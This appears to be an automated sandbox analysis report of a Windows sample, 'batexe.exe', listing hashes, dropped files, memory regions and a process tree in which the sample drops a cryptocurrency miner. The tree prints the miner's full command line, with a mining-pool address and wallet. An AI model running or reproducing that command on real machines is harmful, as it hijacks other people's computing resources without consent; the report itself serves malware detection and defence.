73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 13:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3172	b2e.exe
2156	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe
2156	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2304-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 2304 wrote to memory of 3172	2304	batexe.exe	74
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3172 wrote to memory of 3608	3172	b2e.exe	75
PID 3608 wrote to memory of 2156	3608	cmd.exe	78
PID 3608 wrote to memory of 2156	3608	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Users\Admin\AppData\Local\Temp\8B87.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8B87.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8B87.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8B87.tmp\b2e.exe

Filesize
5.5MB

MD5
36eeb3d4a7740f31885101a1766f6cbe

SHA1
3960b96d68244ea276030e29f175bb959bcfbbd9

SHA256
6c92d5c7018c5e29b6c738da2eb30317305c66223c70ad3126679539d57fae49

SHA512
8390959189792c3d50efdd1e78a0273adb7e9869a4e16745ff86b649dbcac758f936ec55f3fa1491cdcdf0714421934972c9265efd2c1d943e28d5dc4145a318

Download Submit
C:\Users\Admin\AppData\Local\Temp\8B87.tmp\b2e.exe

Filesize
6.9MB

MD5
ed49c61449b88b6e12c6d27eef46049f

SHA1
bf786629980d736e16a1f5eac7b37ef499a2e49b

SHA256
f7991481d3886df9cc73338a290baee3bbd48ffb1fffc0f16a70e68d28581fcb

SHA512
dd24094bd7442d0459111ebff6c0ff4d14e9a9e6b137ee2a924b8a52d08415eaa153b2700404caed71a96074457156e2fc2b6132fac4dec9c21ed6e712ae71b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\8DA9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
113KB

MD5
a25de14a22503ecb23eee72f6847e479

SHA1
5de370b9cdf522197873db01ac12a5f7aceef968

SHA256
4e4b4568588191b9c1c1a502ec2c04e71a3603629cfa3e79025ea85ac3d24d99

SHA512
c90496665196561eefe6f6b780a2f709045f356afc084ab4f271e2bfb78fd991da2ab4bddf3505ddc08a74193a00cfd976399fa569caf0b49f316e4579956b00

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
62KB

MD5
d27c002e4bd45bba144977e40c0bfd16

SHA1
a087d9c6f9f68ae8713081ba9ee1c3f45e1408bd

SHA256
b6145ab0738dc84afcc328ca84105e95c8e95b3539b1187a8bab5b9475f80074

SHA512
d6f760fb1d4e1d88935a13bfb9d0022f6fd5fcf3483e2de15aac4513b21ed52ed5ed17d8208f9fb2eaf15eace352412f1c648c5a725993b4fc8539a69150db5a

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
fa38c1fb92fffbed2ddfac26217f6ee7

SHA1
be81eeb8a86f62ac00cafc62bcb5dd21686b8da0

SHA256
c485e2dd1e72ed5642d609401d711eb21e481b5d30ec9a58d115f7cf6efde92d

SHA512
4327f8eda5444f580a6a545ffb3526488f2da2d7f230928d57e1dbfa7197b8fc8676430f6613f9780007fef2e51ebca4fa1054a3efff96358dd058577c8c2e1d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.0MB

MD5
aaaa3e34ccd1c03a11c44430335ede25

SHA1
2b0ae9d9b52e5d777180001dcfb214c427f6286a

SHA256
aa442a9fe37407294d0fa9c981c17f4e0ad4afbddec6fe49417d20eae99a6073

SHA512
6d388267967aacf30a3bb4dfaab7d4e6395222321bf41907d075dc1d10f1d656d0fd47f1f5f30400a3d20dda01082ed90384b793a607bdada857474c2cd1387a

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2156-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2156-42-0x000000006E140000-0x000000006E1D8000-memory.dmp

Filesize
608KB

Download
memory/2156-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2156-44-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/2156-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2156-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3172-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download